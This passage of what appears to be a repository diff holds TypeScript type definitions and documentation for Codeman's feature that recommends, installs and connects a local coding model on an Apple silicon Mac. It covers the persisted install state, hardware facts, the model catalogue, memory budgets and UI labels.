* `local-model.json` in the data dir: everything that must survive a restart. Mode 0600,
* written through a temp file and a rename, by src/local-model/state-store.ts alone.
*
* Rules:
* - It holds NO path. Every path of this feature is built from `dataPath()` constants
* (`localModelPaths()`), so a state file can never point a delete somewhere else.
* - Reading is total: a missing file, a file that does not parse or one with another `schema`
* reads as `{ schema: 1, state: 'idle' }`.
* - A file read at boot with state `installing` is a job a restart interrupted: it becomes
* `paused` before anything else looks at it.
*/
export interface LocalModelStateFile {
schema: 1;
state: LocalModelInstallState;
/** The step the job is in or stopped in. Absent in `idle` and `installed`. */
step?: LocalModelInstallStep;
/** The steps of the job, in order. Absent in `idle` and `installed`. */
steps?: LocalModelInstallStep[];
/** State `failed`: why. State `installed`: absent (a blocking problem is found live, never stored). */
error?: {
code: LocalModelErrorCode;
/** The slot values of the code's sentence. */
vars?: Record<string, string>;
detail?: string;
/** For a `next-model` code: the model to offer, when the job knew one. */
nextModelId?: string;
};
/** The model of the job or of the installation. */
model?: {
id: string;
label: string;
/** The context length in tokens the person chose. */
context: number;
/** The total the pull reported, once known. */
pullBytes?: number;
/** The digest `/api/tags` reported after the pull. Compared again at boot and before a session starts. */
digest?: string;
};
/**
* The model of the job this one replaced, when it was another model: what that job left in
* the model store is deleted once the runtime runs, before the new model is downloaded.
* Absent once that was done, and in `idle` and `installed`.
*/
replacedModelId?: string;
/** The coding agent of the job or of the installation. */
cli?: { id: string; label: string };
/** The runtime, once its port was chosen. */
runtime?: {
/**
* The runtime version this installation runs. A later build with another pin keeps
* starting this version for as long as its folder is unpacked.
*/
version: string;
/** The loopback port, chosen once by binding. */
port: number;
/**
* The pid of the child Codeman last started, stored the moment it is spawned. Used to
* tell our own runtime from another program: at boot, and before the folder is deleted.
*/
pid?: number;
/** False after Stop: the runtime is not started at boot. */
enabled: boolean;
/** The device total the runtime printed when it started, in bytes. */
measuredTotalBytes?: number;
};
/** How far the last download was when the job paused or failed. A restart may leave it absent. */
progress?: { completedBytes: number; totalBytes: number };
/** What the runtime reported when the job checked the loaded model. */
loaded?: { context: number; sizeBytes: number; sizeVramBytes: number };
/**
* Present once the `connect` step CLAIMED the connection, which it does before its two
* writes: what uninstall must undo. A claim with nothing behind it (the step was interrupted
* right after it) is harmless: a resumed job writes both, and uninstall removes nothing.
*/
connection?: {
/** The id of the endpoint record this feature wrote. */
endpointId: string;
/** The value `customModelEndpointsEnabled` had before this feature switched it on. */
flagWasEnabled: boolean;
};
/** ISO time of the last write. */
updatedAt?: string;
}
+593
View File
@@ -0,0 +1,593 @@
/**
* @fileoverview Types of the hardware-aware local model recommendation: what the server sees of
* this Mac, the catalogue of models and harnesses, and the recommendation part of the answer of
* `GET /api/local-model`.
*
* Everything here is the READ side: Codeman looks at the Mac and recommends. The types of the
* install (the job states, the progress, the `install` object of the GET, the request bodies,
* the state file, the runtime pin) and `LocalModelStatus`, the whole `data` of the GET, are in
* src/types/local-model-install.ts. Both files go out through the barrel (`../types.js`).
*
* Who produces what:
* - `HardwareFacts`: src/local-model/hardware.ts (one bounded `sysctl` spawn, never throws).
* - `LocalModelCatalog` and its rows: src/config/local-model-catalog.ts (a compiled constant).
* - `HarnessFact`: src/local-model/harness-facts.ts (server only, read from the CLI registry at
* call time; it holds a function, so it never goes over HTTP).
* - `Recommendation`, `Candidate`, `DeviceBudget`: src/local-model/recommend.ts (pure).
*
* A field that is optional here is optional by meaning, and its comment says when it is
* absent (a tested entry without a measured speed, a harness that needs no install command, a
* row without a tag). Everything else is always there, so the chooser window and the install
* job may rely on it.
*
* Three rules every producer and consumer follows:
*
* 1. ONE unit for a computed size a person reads: decimal GB, computed from bytes by
* `formatGb()` in src/local-model/format.ts. Every such size travels twice, as bytes
* (`needBytes`) and as the text to show (`needGb`, a number without the unit, such as
* '25.5'). The browser prints the text and never divides bytes itself. GiB appears only
* inside the budget math. The one exception is the NAME of the installed memory: the card
* says `HardwareFacts.memClassGb` (48 for a Mac sold with 48 GB), see that field.
* 2. Every sentence or label the SERVER chooses comes from `LOCAL_MODEL_LABELS` below, so the
* browser can translate it (`codemanT(text, vars)`) and its i18n test can list every string.
* Numbers are never spliced into a sentence here: they travel in `vars` and fill the
* `{placeholder}` slots.
* 3. A CLI id is DATA (`LocalHarnessEntry.cli`, `Candidate.cli`). No code compares one with a
* literal: what differs between harnesses is a catalogue field or a `HarnessFact`.
*/
// ---------- Hardware ----------
/**
* How `HardwareFacts` was obtained.
* - `sysctl`: the spawn answered and `hw.memsize` parsed.
* - `os-fallback`: on macOS, but the spawn failed or timed out; memory, architecture and the chip
* string come from `node:os` and the free disk from `statfs`. What only sysctl knows (`arm64`,
* `translated`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb`) is absent.
* - `not-probed`: not macOS, so `sysctl` was never spawned.
*/
export type HardwareProbeSource = 'sysctl' | 'os-fallback' | 'not-probed';
/**
* What the server knows about the machine it runs on. Plain JSON (it is part of the GET payload),
* and always an answer: a failed probe yields the `os-fallback` or `not-probed` shape, never an
* exception.
*/
export interface HardwareFacts {
/** `process.platform` of the server. Anything but `darwin` ends in verdict `none`, reason `not-macos`. */
platform: string;
/** `os.arch()` of the server process. `x64` on Apple silicon means Node runs under Rosetta. */
arch: string;
/** `hw.optional.arm64` is 1: the MACHINE is Apple silicon whatever `arch` says. Absent when the key was not read. */
arm64?: boolean;
/** `sysctl.proc_translated` is 1: this process runs under Rosetta. Absent when the key was not read (Intel Macs lack it). */
translated?: boolean;
/** Installed memory in bytes (`hw.memsize`, else `os.totalmem()`). The ONLY memory input of the budget math. */
memBytes: number;
/**
* `memBytes` in the unit of every computed size: decimal GB from `formatGb()`, without the unit
* ('17.2' for a Mac sold as 16 GB). NOT what the card calls the installed memory: that is
* `memClassGb`, see there.
*/
memGb: string;
/**
* The memory size the Mac is sold as: whole binary gigabytes (16, 32, 48), 0 when the size is
* unknown. Tier rules and `TestedOn.memGb` use it, and it is the ONE size a person reads that
* is not decimal GB: the hardware line and the `memory` slot of `noneMemory` print it, because
* it is the number on the box and in About This Mac ("48 GB"), and '51.5 GB memory' reads as a
* different machine. Every computed size (need, budget, download, free disk) stays decimal GB.
*/
memClassGb: number;
/** `machdep.cpu.brand_string` ('Apple M4 Pro'), else `os.cpus()[0].model`. */
chip?: string;
/** `hw.model` ('Mac16,10'). */
model?: string;
/** `kern.osproductversion` ('27.2'). */
macosVersion?: string;
/** The leading number of `macosVersion` (27). */
macosMajor?: number;
/** `iogpu.wired_limit_mb` exactly as reported. 0 means "not set" (both test Macs report 0); only a value above 0 is a limit. */
wiredLimitMb?: number;
/** Free bytes on the filesystem of Codeman's data dir (`statfs`: `bavail * bsize`). */
freeDiskBytes?: number;
/** `freeDiskBytes` as a person reads it (decimal GB, no unit). Present exactly when `freeDiskBytes` is. */
freeDiskGb?: string;
source: HardwareProbeSource;
}
// ---------- Catalogue ----------
/**
* One Mac a model and harness pair was really run on by us. A candidate that matches an entry
* (the same chip string, the same memory size as sold, the same harness) is `tested`: it ranks
* before every candidate that is not, and as the pick it may be called "Recommended".
*/
export interface TestedOn {
/** The chip, as `machdep.cpu.brand_string` reports it ('Apple M4'). */
chip: string;
/** The Mac's memory as it is sold (`HardwareFacts.memClassGb`: 16, 32, 48). */
memGb: number;
/** The harness it was tested with: a CLI registry id, as data. */
cli: string;
/** ISO date of the test ('2026-11-06'). */
date: string;
/**
* The generation speed measured in that test, in tokens per second (67.7 for the
* 2026-11-06 run on an Apple M5 Pro with 48 GB). A candidate that matches this entry reports
* this figure as `Candidate.tokensPerSecond` in place of the estimate from the chip's memory
* bandwidth: a measurement on the same Mac beats a formula.
*/
tokensPerSecond?: number;
}
/** The runner of the model runtime that runs a model on a Mac, by the registry's name for it. See `LocalModelEntry.runner`. */
export type LocalModelRunner = 'mlx' | 'llamacpp';
/** One model of the catalogue. */
export interface LocalModelEntry {
/** `name:tag` exactly as the model registry lists it. Lowercase, one colon, no slash (`LOCAL_MODEL_ID_PATTERN`). */
id: string;
/** The name a person reads ('Qwen3.8 27B'). */
label: string;
/** SPDX id of the license ('Apache-2.0'). */
license: string;
/** Parameter count in billions. When no model that fits has 12 or more, the verdict is `limited`, never `ok`. */
paramsB: number;
/**
* The runner the runtime uses for this tag ON A MAC, as the registry names it: `mlx` (a
* safetensors build, or a manifest list with an MLX child, which a Mac always takes) or
* `llamacpp` (a GGUF build, run by llama-server on Metal). The two spend memory in different
* ways, so a row's memory figures are only meaningful together with its runner: llama.cpp
* allocates the whole K/V cache for the context when the model loads (in the runtime's
* `OLLAMA_KV_CACHE_TYPE`), MLX grows it with the tokens actually used and keeps snapshots of
* it besides.
*/
runner: LocalModelRunner;
/**
* Size of the weights in bytes: both the download and what they take in memory.
*
* It is the size of the build the runtime really downloads ON A MAC: the build of `runner`,
* every layer of its manifest plus its config, which is the `total` a real pull reports.
* That is not always the first manifest the registry answers with: `qwen3.6:35b-a3b` is an
* MLX build of 23,105,798,956 bytes on Apple silicon, 2% more than its GGUF build of
* 22,621,314,381.
*/
bytes: number;
/**
* Bytes that stay HELD in memory per token of context. For a `llamacpp` row: the K/V cache
* of its attention layers in the runtime's cache type, which llama.cpp allocates for the
* whole context at load (a multi-token-prediction layer's in f16). For an `mlx` row: the K/V cache in bf16 plus the snapshots of the
* recurrent state the runner keeps every 8,192 tokens, which it grows with use. Measured
* on one row (36,000 to 38,000 on the MLX runner, so about 37,000); computed from the
* model's config for the others, see `figures` and the catalogue header.
*/
heldBytesPerToken: number;
/**
* What the runner holds beside the weights and the context, whatever the context: its own
* buffers, the live recurrent or sliding-window caches, and the caches it keeps of earlier
* prompts (for `llamacpp` the 1024 MiB host prompt cache `LLAMA_ARG_CACHE_RAM` allows and
* the copies of the recurrent or sliding-window state in its `LLAMA_ARG_CTX_CHECKPOINTS`
* context checkpoints, for an estimated `mlx` row the 8 GiB of prefix snapshots the runner
* may keep). Measured on one row (about 3 GB); see the catalogue header for the others.
*/
overheadBytes: number;
/**
* The TRANSIENT extra the runner takes while it processes a long prompt, on top of
* what stays held (measured on the MLX runner: about 5 GB; 0 for `llamacpp`, which
* allocates its buffers at load). The fit is judged on the peak:
* `bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`. For
* `qwen3.6:35b-a3b` at 131072 tokens that is about 36 GB, which is tight on a 48 GB Mac.
*/
peakExtraBytes: number;
/**
* Where the three memory figures above come from: `measured` on a Mac by us, or
* `estimated` (computed from the model's architecture for its runner, see the catalogue
* header). `bytes` is the registry's size of the build a Mac pulls in both cases.
*/
figures: 'measured' | 'estimated';
/** Context lengths (tokens) the model may be run at, largest first. */
contexts: number[];
/** Preference among models that fit: the HIGHER rank wins. A judgement, not a measurement. */
rank: number;
/** Measured tokens per second per 100 GB/s of memory bandwidth. Absent: the speed of this model is unknown. */
speedPer100Gbps?: number;
/** Macs this model was really run on. Empty for every row but one. */
tested: TestedOn[];
}
/** One harness (coding agent CLI) that can be connected to a local model. All of it is data. */
export interface LocalHarnessEntry {
/** A CLI registry id. Data only: never compared with a literal anywhere. */
cli: string;
/** The smallest context (tokens) at which this harness works. */
minContext: number;
/** Preference among harnesses: the HIGHER rank wins. */
rank: number;
/** True: listed in the catalogue but never offered yet (its use with a local model is unverified). */
gated?: boolean;
/** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */
slowFirstTurn?: boolean;
}
/**
* Memory bandwidth of one chip family. `LocalModelCatalog.chips` is ordered most specific first
* ('M4 Max' before 'M4') and the first row that names `HardwareFacts.chip` wins. A row names a
* chip when the chip string ENDS with its `match`, starting at the beginning or after a space,
* case ignored (`chipNameMatches()` in src/config/local-model-catalog.ts): 'M4' is not the chip
* of 'Apple M4 Pro', and a variant the table has never heard of ('Apple M6 Pro') matches no row.
* A chip that matches no row has an UNKNOWN speed: a bandwidth is never guessed.
*/
export interface ChipEntry {
/** The chip name the chip string must end with ('M4 Max'). */
match: string;
/** Memory bandwidth in GB/s. */
gbps: number;
}
/** The catalogue: a compiled constant, validated by `LocalModelCatalogSchema`. No override file, no download data. */
export interface LocalModelCatalog {
schema: 1;
/** ISO date the rows were last checked ('2026-11-06'). Reported as `LocalModelStatus.catalogUpdated`. */
updated: string;
/** Oldest macOS major version a local model runs on. Below it: verdict `none`, reason `macos`. */
minMacosMajor: number;
models: LocalModelEntry[];
harnesses: LocalHarnessEntry[];
chips: ChipEntry[];
}
// ---------- Harness facts (server only) ----------
/**
* What the server knows about one catalogue harness on this machine. Built from the CLI registry
* at call time, so `recommend()` names no CLI. NOT serializable (it holds a function): it never
* leaves the server. `Candidate` carries the parts a browser needs.
*/
export interface HarnessFact {
/** The CLI registry id. */
cli: string;
/** The registry's display label ('OpenCode'). */
label: string;
/** The CLI's binary was found on this machine. */
installed: boolean;
/** Not installed, but the registry has an install command for this platform that needs no administrator rights. */
installable: boolean;
/**
* The literal install command the install job would run for this CLI: the STOCK
* command of the CLI registry for this platform, never one a `clis.json` override supplies.
* Present exactly when `installable` is true. The consent screen prints it
* (`CandidateHarness.installCommand`).
*/
installCommand?: string;
/** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */
acceptsModelId: (modelId: string) => boolean;
}
// ---------- Recommendation ----------
/**
* Need over budget: up to 0.85 is `good`, up to 0.98 is `tight`, above is `out`. The need is
* the PEAK, so the grade says how much room is left at the worst moment. It decides whether a
* model is offered at all (`out` never is) and what its row says (`tight`). It does not sort
* the list.
*/
export type FitGrade = 'good' | 'tight' | 'out';
/**
* Expected generation speed. `unknown` when the chip is in no `ChipEntry` or the model has no
* `speedPer100Gbps`. In the ranking `unknown` sits between `ok` and `slow`.
*/
export type SpeedGrade = 'ok' | 'slow' | 'unknown';
/**
* Why the verdict is `none`.
* - `not-macos`: the server does not run on macOS (the card is hidden).
* - `intel`: a Mac without Apple silicon.
* - `memory`: no model fits the memory budget at a context a usable harness needs. Three
* headlines share this reason: `noneMemory` (nothing fits at any context), `noneMemoryContext`
* (a model fits, but only below the context a harness needs: the sentence carries the budget
* and the need) and `noneMemoryUnknown` (the memory size could not be read).
* - `disk`: models fit the memory, but for every one of them free disk minus the download is below 10 GiB.
* - `macos`: macOS is older than `LocalModelCatalog.minMacosMajor`.
* - `no-harness`: no catalogue harness is installed or installable and accepts a model.
*/
export type NoneReason = 'not-macos' | 'intel' | 'memory' | 'disk' | 'macos' | 'no-harness';
/**
* Where the device budget came from.
* - `estimated`: a formula over the installed memory. All there is before the runtime ran.
* - `wired-limit`: `iogpu.wired_limit_mb` above 0.
* - `measured`: the device total the runtime itself printed when it started
* (`RecommendOptions.measuredTotalBytes`). The chooser says "estimated" next to the memory
* bar for the first value only.
*/
export type BudgetSource = 'estimated' | 'wired-limit' | 'measured';
/** The memory a model may use on this Mac. */
export interface DeviceBudget {
/**
* L: the measured device total when there is one, else the wired limit when above 0, else
* 2/3 of memory below 36 GB and 3/4 from 36 GB.
*/
limitBytes: number;
/**
* What `Candidate.budgetShare` is measured against. Estimated or from the wired limit:
* B = min(L - 1 GiB, memory - reserve). Measured: B = min(L, memory - reserve), without the
* 1 GiB, because the runtime's figure is already what it will really use (37.4 GiB on the
* 48 GB test Mac, which reads '40.2').
*/
budgetBytes: number;
source: BudgetSource;
}
/**
* What the caller of `recommend()` knows beyond the hardware probe. Both members are optional:
* an empty object means the budget is the estimate and an install downloads the model alone.
*/
export interface RecommendOptions {
/**
* The device total the runtime reported in its log line "inference compute"
* (`total="37.4 GiB"`), in bytes: `parseInferenceComputeTotal()` in
* src/local-model/runtime.ts. Present: the budget is `measured`. The install job passes it
* right after the runtime started, before the model is downloaded, and the GET passes the
* stored figure from then on.
*/
measuredTotalBytes?: number;
/**
* What an install adds to every candidate's download beside the model: the size of the
* pinned runtime archive while the runtime is not installed, 0 once it is. It is the
* difference between `Candidate.installBytes` and `Candidate.downloadBytes`. Default 0.
*/
runtimeDownloadBytes?: number;
}
/**
* Every sentence and label the server may put into the payload, in English (the i18n source
* language). The zh-CN dictionary in src/web/public/i18n.js has one entry per value, keyed by
* this exact text, and test/local-model-i18n.test.ts imports this constant to list them. Adding
* a key is fine; changing a text means changing its zh-CN key too.
*
* `{placeholder}` slots are filled by the browser from `LocalModelMessage.vars`. `{name}` is
* taken (the translator fills it with the display name), so no slot here is called `name`.
*
* | Key | Slots (all text; sizes are decimal GB without the unit) |
* |---------------------|---------------------------------------------------------------------------|
* | `noteDiskDropped` | `model`: label of the best model left out for disk space; `missing`: its |
* | | download + the disk reserve - free |
* | `noneMemory` | `memory`: `HardwareFacts.memClassGb`, the size the Mac is sold as |
* | `noneMemoryContext` | `budget`: `Recommendation.budgetGb`; `need`: the smallest need of any |
* | | model at a context a usable harness works at |
* | `noneDisk` | `download`: smallest download among the models that fit the memory; |
* | | `reserve`: what must stay free after it (10 GiB, as decimal GB); `free`: |
* | | `HardwareFacts.freeDiskGb`; `missing`: download + reserve - free |
* | `noneMacos` | `version`: `HardwareFacts.macosVersion`; `minimum`: the catalogue minimum |
*
* The word "Recommended" exists only in `headlineTested`, which may be used only when the
* pick's `tested` is true: one catalogue row has a tested entry (`qwen3.6:35b-a3b` on an Apple
* M5 Pro with 48 GB), so one kind of Mac is told so.
*/
export const LOCAL_MODEL_LABELS = {
/** Verdict `ok`, pick not tested by us on a Mac like this one. */
headlineOk: 'Best fit for this Mac',
/** Verdict `ok`, pick tested by us on a Mac like this one. */
headlineTested: 'Recommended for this Mac',
/** Verdict `limited`: no model with 12 billion parameters or more fits this Mac. */
headlineLimited:
'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.',
/** A note under an `ok` or `limited` pick whose `tested` is false. */
noteUntested: 'Codeman has not run this on a Mac like this yet.',
/** A note under an `ok` pick that is itself a small model: larger ones fit this Mac, but rank lower or have no room on the disk. */
noteSmallPick:
'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.',
/** A note when a model that fits the memory was left out because its download would not leave the disk reserve. */
noteDiskDropped:
'{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.',
fitGood: 'Good',
fitTight: 'Tight',
speedSlow: 'Slow',
speedUnknown: 'Speed unknown',
noneNotMacos: 'Codeman recommends a local model only on a Mac with Apple silicon.',
noneIntel: 'Local coding models need Apple silicon, and this Mac has an Intel processor.',
/** Reason `memory`: nothing fits at any context. */
noneMemory: 'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.',
/** Reason `memory`: a model fits, but only below the context a harness needs. Says both numbers, and ("about") that they are estimates. */
noneMemoryContext:
'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.',
/** Reason `memory`: the memory size could not be read, so no size is stated. */
noneMemoryUnknown: 'Codeman could not read how much memory this Mac has, so it recommends no model here.',
/** Reason `disk`. One number: what to do. The other sizes travel in `vars` for a client that wants them. */
noneDisk: 'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.',
noneMacos: 'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.',
noneNoHarness: 'No coding agent that Codeman can connect to a local model is available on this Mac.',
} as const;
/** One of the texts in `LOCAL_MODEL_LABELS`. The payload's label fields are typed with it, so an off-list string does not compile. */
export type LocalModelLabel = (typeof LOCAL_MODEL_LABELS)[keyof typeof LOCAL_MODEL_LABELS];
/** The headline of each `none` reason. `memory` has two more (`noneMemoryContext`, `noneMemoryUnknown`), see `NoneReason`. */
export const LOCAL_MODEL_NONE_LABELS: Record<NoneReason, LocalModelLabel> = {
'not-macos': LOCAL_MODEL_LABELS.noneNotMacos,
intel: LOCAL_MODEL_LABELS.noneIntel,
memory: LOCAL_MODEL_LABELS.noneMemory,
disk: LOCAL_MODEL_LABELS.noneDisk,
macos: LOCAL_MODEL_LABELS.noneMacos,
'no-harness': LOCAL_MODEL_LABELS.noneNoHarness,
};
/** A sentence for the card: a text from `LOCAL_MODEL_LABELS` plus the values of its `{placeholder}` slots. */
export interface LocalModelMessage {
text: LocalModelLabel;
/** Slot values, already formatted as text. Absent when the text has no slot. */
vars?: Record<string, string>;
}
/**
* The one tag a model row of the chooser carries, by what it says.
* - `tested`: `Candidate.tested` is true. Replaces every other tag.
* - `best-tight`: the pick, when its `fit` is `tight`. The words must not say less than the
* memory bar beside them, which is nearly full for such a row.
* - `best`: the pick.
* - `tight`: `Candidate.fit` is `tight`.
* - `slow`: `Candidate.speed` is `slow`.
* - `small`: the model has fewer than 12 billion parameters.
* A row gets the FIRST kind of this list that applies and no tag when none does. `tested`,
* `best` and `best-tight` are the tags of the row the window opens on, drawn in the accent
* colour.
*/
export type CandidateTagKind = 'tested' | 'best-tight' | 'best' | 'tight' | 'slow' | 'small';
/**
* The text of each tag, in English (the i18n source language), like `LOCAL_MODEL_LABELS`. A
* constant of its own so that a consumer can list the tag texts apart from the sentences.
*/
export const LOCAL_MODEL_TAG_LABELS = {
tested: 'Tested on a Mac like this',
'best-tight': 'Best fit, tight',
best: 'Best fit',
tight: 'Tight',
slow: 'Slow',
small: 'Small model',
} as const satisfies Record<CandidateTagKind, string>;
/** One of the texts in `LOCAL_MODEL_TAG_LABELS`. */
export type LocalModelTagLabel = (typeof LOCAL_MODEL_TAG_LABELS)[CandidateTagKind];
/** The tag of a model row: what kind it is (for the styling) and the text to print. */
export interface CandidateTag {
kind: CandidateTagKind;
/** `LOCAL_MODEL_TAG_LABELS[kind]`. */
label: LocalModelTagLabel;
}
/**
* One coding agent a candidate's model can be run with on this Mac, for the "Runs
* with" select of the chooser. Everything a browser needs is here, so it compares no CLI id.
*/
export interface CandidateHarness {
/** The CLI registry id, as data: what `POST /api/local-model/install` is sent as `cli`. */
cli: string;
/** The registry's display label ('OpenCode'). */
cliLabel: string;
/** False: the install job installs it first (it is installable, or it would not be listed). */
installed: boolean;
/**
* The literal command the install job would run to install it (`HarnessFact.installCommand`).
* Present exactly when `installed` is false. The consent screen prints it as it is.
*/
installCommand?: string;
/** The harness row's `slowFirstTurn`. */
slowFirstTurn?: boolean;
}
/** One model at one context with one harness, measured against this Mac. Plain JSON. */
export interface Candidate {
/** `LocalModelEntry.id`. */
modelId: string;
/** `LocalModelEntry.label`. */
modelLabel: string;
license: string;
paramsB: number;
/** Context length in tokens. */
context: number;
/** The harness: a CLI registry id, as data. */
cli: string;
/** The harness's display label, from the CLI registry. */
cliLabel: string;
/** False: the harness is not on this machine yet (it is installable, or it would not be a candidate). */
cliInstalled: boolean;
/** The harness row's `slowFirstTurn`. */
slowFirstTurn?: boolean;
/**
* What the model needs in memory at this context: the PEAK, `bytes + heldBytesPerToken *
* context + overheadBytes + peakExtraBytes` of the catalogue row. The memory bar of the
* chooser is filled to `budgetShare`, which is this over the budget.
*/
needBytes: number;
/** `needBytes` as decimal GB text, no unit. */
needGb: string;
/**
* What `needBytes` is made of, for the chooser's memory map: the model (`bytes +
* overheadBytes`), its context in use (`heldBytesPerToken * context`) and the brief peaks
* (`peakExtraBytes`). The three add up to `needBytes`.
*/
memory?: { modelBytes: number; contextBytes: number; peakBytes: number };
/** The model download in bytes (`LocalModelEntry.bytes`). */
downloadBytes: number;
/** `downloadBytes` as decimal GB text, no unit. */
downloadGb: string;
/** `needBytes / Recommendation.budgetBytes`, rounded to three decimals (0.83). The fit grade is decided on the unrounded ratio. */
budgetShare: number;
/** A candidate in a `Recommendation` is never `out`. */
fit: Exclude<FitGrade, 'out'>;
/** `fitGood` or `fitTight`. */
fitLabel: LocalModelLabel;
speed: SpeedGrade;
/** `speedSlow` or `speedUnknown`. Absent when `speed` is `ok`. */
speedLabel?: LocalModelLabel;
/**
* Generation speed in tokens per second, rounded to one decimal. Present exactly when `speed`
* is not `unknown`; `speed` is decided on the unrounded figure. An estimate from the chip's
* memory bandwidth, except for a candidate that is `tested`, which reports the
* speed measured in that test (`TestedOn.tokensPerSecond`).
*/
tokensPerSecond?: number;
/**
* A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this
* harness. Such a candidate ranks first, and its `tag` says so in place of any other tag.
*/
tested: boolean;
/** `LocalModelEntry.figures` of the model: whether `needBytes` rests on a measurement of this model. */
needSource: 'measured' | 'estimated';
/** The row's one tag, see `CandidateTagKind`. Absent when no kind applies. */
tag?: CandidateTag;
/**
* Every coding agent this model can be run with at `context` on this Mac, best
* first. The first entry is the one the flat fields above name (`cli`, `cliLabel`,
* `cliInstalled`, `slowFirstTurn`). Never empty.
*/
harnesses: CandidateHarness[];
/**
* The whole download a click on Install starts for this row: `downloadBytes` plus
* `RecommendOptions.runtimeDownloadBytes`. It is the server's own total, and exactly the
* number `POST /api/local-model/install` must be sent as `acknowledgedBytes`.
*/
installBytes: number;
/** `installBytes` as decimal GB text, no unit. */
installGb: string;
}
/**
* The answer of `recommend()`.
* - `ok`: `pick` is the best candidate, and at least one model with 12 billion parameters or
* more fits this Mac's memory at a context a usable harness works at. The pick itself can be
* smaller (a larger model may fit only tightly, have no speed figure, or have no room on the
* disk): `notes` then carries `noteSmallPick`.
* - `limited`: `pick` is the best candidate, and NO model with 12 billion parameters or more
* fits. The card says so and never says "Recommended".
* - `none`: no pick; `reason` says why.
*/
export interface Recommendation {
verdict: 'ok' | 'limited' | 'none';
/** Present exactly when `verdict` is `none`. */
reason?: NoneReason;
/** What the card says first: `headlineOk`, `headlineTested`, `headlineLimited` or a `none` sentence. */
headline: LocalModelMessage;
/** Further sentences under the pick, in this order: `noteSmallPick`, `noteDiskDropped`, `noteUntested`. May be empty. */
notes: LocalModelMessage[];
/** Present exactly when `verdict` is `ok` or `limited`. */
pick?: Candidate;
/**
* The next models that fit and have room on the disk (at most four), best first: tested
* before not tested, then ok before unknown before slow speed, then the higher model rank.
* Each is at the largest context it fits at, with the best harness that can run it there.
* Empty when `verdict` is `none`.
*/
alternatives: Candidate[];
/** `DeviceBudget.budgetBytes`. 0 when no budget is computed: not macOS, or a Mac without Apple silicon. */
budgetBytes: number;
/** `budgetBytes` as decimal GB text, no unit. */
budgetGb: string;
budgetSource: BudgetSource;
}
// `LocalModelStatus`, the `data` of `GET /api/local-model`, is in src/types/local-model-install.ts.
+2
View File
@@ -48,6 +48,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
**Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` 